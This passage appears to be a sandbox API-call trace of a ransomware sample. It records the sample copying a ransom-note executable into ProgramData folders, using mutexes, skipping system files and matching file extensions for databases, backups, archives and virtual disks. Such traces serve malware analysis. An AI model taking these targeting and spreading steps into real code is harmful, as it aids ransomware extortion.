ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc485c380, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0098.373] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0098.373] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSFax", cAlternateFileName="")) returned 1 [0098.373] lstrcmpiW (lpString1="MSFax", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0098.373] lstrcmpiW (lpString1="MSFax", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0098.373] lstrcmpiW (lpString1="MSFax", lpString2=".") returned 1 [0098.373] lstrcmpiW (lpString1="MSFax", lpString2="..") returned 1 [0098.373] lstrcmpiW (lpString1="MSFax", lpString2="windows") returned -1 [0098.373] lstrcmpiW (lpString1="MSFax", lpString2="bootmgr") returned 1 [0098.373] lstrcmpiW (lpString1="MSFax", lpString2="temp") returned -1 [0098.374] lstrcmpiW (lpString1="MSFax", lpString2="pagefile.sys") returned -1 [0098.374] lstrcmpiW (lpString1="MSFax", lpString2="boot") returned 1 [0098.374] lstrcmpiW (lpString1="MSFax", lpString2="ids.txt") returned 1 [0098.374] lstrcmpiW (lpString1="MSFax", lpString2="ntuser.dat") returned -1 [0098.374] lstrcmpiW (lpString1="MSFax", lpString2="perflogs") returned -1 [0098.374] lstrcmpiW (lpString1="MSFax", lpString2="MSBuild") returned 1 [0098.374] lstrlenW (lpString="MSFax") returned 5 [0098.374] lstrcpyW (in: lpString1=0x241e890, lpString2="MSFax" | out: lpString1="MSFax") returned="MSFax" [0098.374] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50ac08 [0098.374] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x54) returned 0x52fb60 [0098.374] lstrcatW (in: lpString1="MSFax", lpString2="\\" | out: lpString1="MSFax\\") returned="MSFax\\" [0098.374] lstrcatW (in: lpString1="MSFax\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="MSFax\\HOW TO BACK YOUR FILES.exe") returned="MSFax\\HOW TO BACK YOUR FILES.exe" [0098.374] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\how to back your files.exe"), bFailIfExists=1) returned 1 [0098.381] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSScan", cAlternateFileName="")) returned 1 [0098.381] lstrcmpiW (lpString1="MSScan", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0098.381] lstrcmpiW (lpString1="MSScan", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0098.381] lstrcmpiW (lpString1="MSScan", lpString2=".") returned 1 [0098.381] lstrcmpiW (lpString1="MSScan", lpString2="..") returned 1 [0098.381] lstrcmpiW (lpString1="MSScan", lpString2="windows") returned -1 [0098.381] lstrcmpiW (lpString1="MSScan", lpString2="bootmgr") returned 1 [0098.381] lstrcmpiW (lpString1="MSScan", lpString2="temp") returned -1 [0098.381] lstrcmpiW (lpString1="MSScan", lpString2="pagefile.sys") returned -1 [0098.382] lstrcmpiW (lpString1="MSScan", lpString2="boot") returned 1 [0098.382] lstrcmpiW (lpString1="MSScan", lpString2="ids.txt") returned 1 [0098.382] lstrcmpiW (lpString1="MSScan", lpString2="ntuser.dat") returned -1 [0098.382] lstrcmpiW (lpString1="MSScan", lpString2="perflogs") returned -1 [0098.382] lstrcmpiW (lpString1="MSScan", lpString2="MSBuild") returned 1 [0098.382] lstrlenW (lpString="MSScan") returned 6 [0098.382] lstrcpyW (in: lpString1=0x241e890, lpString2="MSScan" | out: lpString1="MSScan") returned="MSScan" [0098.382] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52be78 [0098.382] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x56) returned 0x52fd40 [0098.382] lstrcatW (in: lpString1="MSScan", lpString2="\\" | out: lpString1="MSScan\\") returned="MSScan\\" [0098.382] lstrcatW (in: lpString1="MSScan\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="MSScan\\HOW TO BACK YOUR FILES.exe") returned="MSScan\\HOW TO BACK YOUR FILES.exe" [0098.382] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\windows nt\\msscan\\how to back your files.exe"), bFailIfExists=1) returned 1 [0098.385] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSScan", cAlternateFileName="")) returned 0 [0098.385] FindClose (in: hFindFile=0x529590 | out: hFindFile=0x529590) returned 1 [0098.385] ReleaseMutex (hMutex=0xec) returned 1 [0098.385] CloseHandle (hObject=0xec) returned 1 [0098.385] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Microsoft\\WwanSvc" | out: lpString1="C:\\ProgramData\\Microsoft\\WwanSvc") returned="C:\\ProgramData\\Microsoft\\WwanSvc" [0098.385] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x517528 | out: hHeap=0x4f0000) returned 1 [0098.385] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ac20 | out: hHeap=0x4f0000) returned 1 [0098.385] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\WwanSvc") returned 32 [0098.385] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\CFD4527FA098E9AC03161E0D4C504624") returned 0xec [0098.385] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0098.385] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\WwanSvc" | out: lpString1="C:\\ProgramData\\Microsoft\\WwanSvc") returned="C:\\ProgramData\\Microsoft\\WwanSvc" [0098.385] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0098.386] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\wwansvc\\how to back your files.exe"), bFailIfExists=1) returned 0 [0098.386] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\wwansvc\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0098.386] GetLastError () returned 0x0 [0098.386] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0098.386] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53edd0 [0098.386] ReadFile (in: hFile=0xf4, lpBuffer=0x53edd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53edd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0098.387] CloseHandle (hObject=0xf4) returned 1 [0098.387] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0098.387] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0098.387] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc48824e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc48824e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529590 [0098.388] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.388] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0098.388] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0098.388] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc48824e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc48824e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.388] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.388] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0098.388] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0098.388] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0098.388] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc48824e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc48824e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0098.388] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0098.388] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1 [0098.388] lstrcmpiW (lpString1="Profiles", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0098.388] lstrcmpiW (lpString1="Profiles", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0098.388] lstrcmpiW (lpString1="Profiles", lpString2=".") returned 1 [0098.388] lstrcmpiW (lpString1="Profiles", lpString2="..") returned 1 [0098.388] lstrcmpiW (lpString1="Profiles", lpString2="windows") returned -1 [0098.388] lstrcmpiW (lpString1="Profiles", lpString2="bootmgr") returned 1 [0098.388] lstrcmpiW (lpString1="Profiles", lpString2="temp") returned -1 [0098.388] lstrcmpiW (lpString1="Profiles", lpString2="pagefile.sys") returned 1 [0098.388] lstrcmpiW (lpString1="Profiles", lpString2="boot") returned 1 [0098.388] lstrcmpiW (lpString1="Profiles", lpString2="ids.txt") returned 1 [0098.388] lstrcmpiW (lpString1="Profiles", lpString2="ntuser.dat") returned 1 [0098.388] lstrcmpiW (lpString1="Profiles", lpString2="perflogs") returned 1 [0098.388] lstrcmpiW (lpString1="Profiles", lpString2="MSBuild") returned 1 [0098.388] lstrlenW (lpString="Profiles") returned 8 [0098.388] lstrcpyW (in: lpString1=0x241e88a, lpString2="Profiles" | out: lpString1="Profiles") returned="Profiles" [0098.388] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50ac20 [0098.389] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x54) returned 0x52fda0 [0098.389] lstrcatW (in: lpString1="Profiles", lpString2="\\" | out: lpString1="Profiles\\") returned="Profiles\\" [0098.389] lstrcatW (in: lpString1="Profiles\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Profiles\\HOW TO BACK YOUR FILES.exe") returned="Profiles\\HOW TO BACK YOUR FILES.exe" [0098.389] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\wwansvc\\profiles\\how to back your files.exe"), bFailIfExists=1) returned 0 [0098.389] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 0 [0098.389] FindClose (in: hFindFile=0x529590 | out: hFindFile=0x529590) returned 1 [0098.390] ReleaseMutex (hMutex=0xec) returned 1 [0098.390] CloseHandle (hObject=0xec) returned 1 [0098.390] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Mozilla\\logs" | out: lpString1="C:\\ProgramData\\Mozilla\\logs") returned="C:\\ProgramData\\Mozilla\\logs" [0098.390] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5295d0 | out: hHeap=0x4f0000) returned 1 [0098.390] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50dbf8 | out: hHeap=0x4f0000) returned 1 [0098.390] lstrlenW (lpString="C:\\ProgramData\\Mozilla\\logs") returned 27 [0098.390] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\FCB82C3F2AF0E22A412895A48E11F4F0") returned 0xec [0098.390] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0098.390] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Mozilla\\logs" | out: lpString1="C:\\ProgramData\\Mozilla\\logs") returned="C:\\ProgramData\\Mozilla\\logs" [0098.390] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0098.390] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Mozilla\\logs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\mozilla\\logs\\how to back your files.exe"), bFailIfExists=1) returned 0 [0098.390] CreateFileW (lpFileName="C:\\ProgramData\\Mozilla\\logs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\mozilla\\logs\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0098.391] GetLastError () returned 0x0 [0098.391] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0098.391] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53edd0 [0098.391] ReadFile (in: hFile=0xf4, lpBuffer=0x53edd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53edd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0098.392] CloseHandle (hObject=0xf4) returned 1 [0098.392] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0098.392] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0098.392] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Mozilla\\logs\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc4b55f00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4b55f00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5295d0 [0098.392] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.392] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0098.392] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0098.392] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc4b55f00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4b55f00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.392] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.392] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0098.392] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0098.392] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0098.392] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc4b55f00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc4b55f00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0098.392] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0098.392] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8556a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb07822e0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0xa4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="maintenanceservice-install.log", cAlternateFileName="MAINTE~1.LOG")) returned 1 [0098.392] lstrcmpiW (lpString1="maintenanceservice-install.log", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0098.392] lstrcmpiW (lpString1="maintenanceservice-install.log", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0098.393] lstrcmpiW (lpString1="maintenanceservice-install.log", lpString2=".") returned 1 [0098.393] lstrcmpiW (lpString1="maintenanceservice-install.log", lpString2="..") returned 1 [0098.393] lstrcmpiW (lpString1="maintenanceservice-install.log", lpString2="windows") returned -1 [0098.393] lstrcmpiW (lpString1="maintenanceservice-install.log", lpString2="bootmgr") returned 1 [0098.393] lstrcmpiW (lpString1="maintenanceservice-install.log", lpString2="temp") returned -1 [0098.393] lstrcmpiW (lpString1="maintenanceservice-install.log", lpString2="pagefile.sys") returned -1 [0098.393] lstrcmpiW (lpString1="maintenanceservice-install.log", lpString2="boot") returned 1 [0098.393] lstrcmpiW (lpString1="maintenanceservice-install.log", lpString2="ids.txt") returned 1 [0098.393] lstrcmpiW (lpString1="maintenanceservice-install.log", lpString2="ntuser.dat") returned -1 [0098.393] lstrcmpiW (lpString1="maintenanceservice-install.log", lpString2="perflogs") returned -1 [0098.393] lstrcmpiW (lpString1="maintenanceservice-install.log", lpString2="MSBuild") returned -1 [0098.393] lstrlenW (lpString="maintenanceservice-install.log") returned 30 [0098.393] lstrcpyW (in: lpString1=0x241e880, lpString2="maintenanceservice-install.log" | out: lpString1="maintenanceservice-install.log") returned="maintenanceservice-install.log" [0098.393] lstrlenW (lpString="maintenanceservice-install.log") returned 30 [0098.393] lstrlenW (lpString="Athena865") returned 9 [0098.393] lstrcmpiW (lpString1="stall.log", lpString2="Athena865") returned 1 [0098.393] lstrlenW (lpString=".dll") returned 4 [0098.393] lstrcmpiW (lpString1="maintenanceservice-install.log", lpString2=".dll") returned 1 [0098.393] lstrlenW (lpString=".lnk") returned 4 [0098.393] lstrcmpiW (lpString1="maintenanceservice-install.log", lpString2=".lnk") returned 1 [0098.393] lstrlenW (lpString=".ini") returned 4 [0098.393] lstrcmpiW (lpString1="maintenanceservice-install.log", lpString2=".ini") returned 1 [0098.393] lstrlenW (lpString=".sys") returned 4 [0098.393] lstrcmpiW (lpString1="maintenanceservice-install.log", lpString2=".sys") returned 1 [0098.393] lstrlenW (lpString="maintenanceservice-install.log") returned 30 [0098.393] lstrlenW (lpString="bak") returned 3 [0098.393] lstrcmpiW (lpString1="log", lpString2="bak") returned 1 [0098.393] lstrlenW (lpString="ba_") returned 3 [0098.393] lstrcmpiW (lpString1="log", lpString2="ba_") returned 1 [0098.394] lstrlenW (lpString="dbb") returned 3 [0098.394] lstrcmpiW (lpString1="log", lpString2="dbb") returned 1 [0098.394] lstrlenW (lpString="vmdk") returned 4 [0098.394] lstrcmpiW (lpString1=".log", lpString2="vmdk") returned -1 [0098.394] lstrlenW (lpString="rar") returned 3 [0098.394] lstrcmpiW (lpString1="log", lpString2="rar") returned -1 [0098.394] lstrlenW (lpString="zip") returned 3 [0098.394] lstrcmpiW (lpString1="log", lpString2="zip") returned -1 [0098.394] lstrlenW (lpString="tgz") returned 3 [0098.394] lstrcmpiW (lpString1="log", lpString2="tgz") returned -1 [0098.394] lstrlenW (lpString="vbox") returned 4 [0098.394] lstrcmpiW (lpString1=".log", lpString2="vbox") returned -1 [0098.394] lstrlenW (lpString="vdi") returned 3 [0098.394] lstrcmpiW (lpString1="log", lpString2="vdi") returned -1 [0098.394] lstrlenW (lpString="vhd") returned 3 [0098.394] lstrcmpiW (lpString1="log", lpString2="vhd") returned -1 [0098.394] lstrlenW (lpString="vhdx") returned 4 [0098.394] lstrcmpiW (lpString1=".log", lpString2="vhdx") returned -1 [0098.394] lstrlenW (lpString="avhd") returned 4 [0098.394] lstrcmpiW (lpString1=".log", lpString2="avhd") returned -1 [0098.394] lstrlenW (lpString="db") returned 2 [0098.394] lstrcmpiW (lpString1="og", lpString2="db") returned 1 [0098.394] lstrlenW (lpString="db2") returned 3 [0098.394] lstrcmpiW (lpString1="log", lpString2="db2") returned 1 [0098.394] lstrlenW (lpString="db3") returned 3 [0098.394] lstrcmpiW (lpString1="log", lpString2="db3") returned 1 [0098.394] lstrlenW (lpString="dbf") returned 3 [0098.394] lstrcmpiW (lpString1="log", lpString2="dbf") returned 1 [0098.394] lstrlenW (lpString="mdf") returned 3 [0098.395] lstrcmpiW (lpString1="log", lpString2="mdf") returned -1 [0098.395] lstrlenW (lpString="mdb") returned 3 [0098.395] lstrcmpiW (lpString1="log", lpString2="mdb") returned -1 [0098.395] lstrlenW (lpString="sql") returned 3 [0098.395] lstrcmpiW (lpString1="log", lpString2="sql") returned -1 [0098.395] lstrlenW (lpString="sqlite") returned 6 [0098.395] lstrcmpiW (lpString1="ll.log", lpString2="sqlite") returned -1 [0098.395] lstrlenW (lpString="sqlite3") returned 7 [0098.395] lstrcmpiW (lpString1="all.log", lpString2="sqlite3") returned -1 [0098.395] lstrlenW (lpString="sqlitedb") returned 8 [0098.395] lstrcmpiW (lpString1="tall.log", lpString2="sqlitedb") returned 1 [0098.395] lstrlenW (lpString="xml") returned 3 [0098.395] lstrcmpiW (lpString1="log", lpString2="xml") returned -1 [0098.395] lstrlenW (lpString="$er") returned 3 [0098.395] lstrcmpiW (lpString1="log", lpString2="$er") returned 1 [0098.395] lstrlenW (lpString="4dd") returned 3 [0098.395] lstrcmpiW (lpString1="log", lpString2="4dd") returned 1 [0098.395] lstrlenW (lpString="4dl") returned 3 [0098.395] lstrcmpiW (lpString1="log", lpString2="4dl") returned 1 [0098.395] lstrlenW (lpString="^^^") returned 3 [0098.395] lstrcmpiW (lpString1="log", lpString2="^^^") returned 1 [0098.395] lstrlenW (lpString="abs") returned 3 [0098.395] lstrcmpiW (lpString1="log", lpString2="abs") returned 1 [0098.395] lstrlenW (lpString="abx") returned 3 [0098.395] lstrcmpiW (lpString1="log", lpString2="abx") returned 1 [0098.395] lstrlenW (lpString="accdb") returned 5 [0098.395] lstrcmpiW (lpString1="l.log", lpString2="accdb") returned 1 [0098.395] lstrlenW (lpString="accdc") returned 5 [0098.395] lstrcmpiW (lpString1="l.log", lpString2="accdc") returned 1 [0098.396] lstrlenW (lpString="accde") returned 5 [0098.396] lstrcmpiW (lpString1="l.log", lpString2="accde") returned 1 [0098.396] lstrlenW (lpString="accdr") returned 5 [0098.396] lstrcmpiW (lpString1="l.log", lpString2="accdr") returned 1 [0098.396] lstrlenW (lpString="accdt") returned 5 [0098.396] lstrcmpiW (lpString1="l.log", lpString2="accdt") returned 1 [0098.396] lstrlenW (lpString="accdw") returned 5 [0098.396] lstrcmpiW (lpString1="l.log", lpString2="accdw") returned 1 [0098.396] lstrlenW (lpString="accft") returned 5 [0098.396] lstrcmpiW (lpString1="l.log", lpString2="accft") returned 1 [0098.396] lstrlenW (lpString="adb") returned 3 [0098.396] lstrcmpiW (lpString1="log", lpString2="adb") returned 1 [0098.396] lstrlenW (lpString="adb") returned 3 [0098.396] lstrcmpiW (lpString1="log", lpString2="adb") returned 1 [0098.396] lstrlenW (lpString="ade") returned 3 [0098.396] lstrcmpiW (lpString1="log", lpString2="ade") returned 1 [0098.396] lstrlenW (lpString="adf") returned 3 [0098.396] lstrcmpiW (lpString1="log", lpString2="adf") returned 1 [0098.396] lstrlenW (lpString="adn") returned 3 [0098.396] 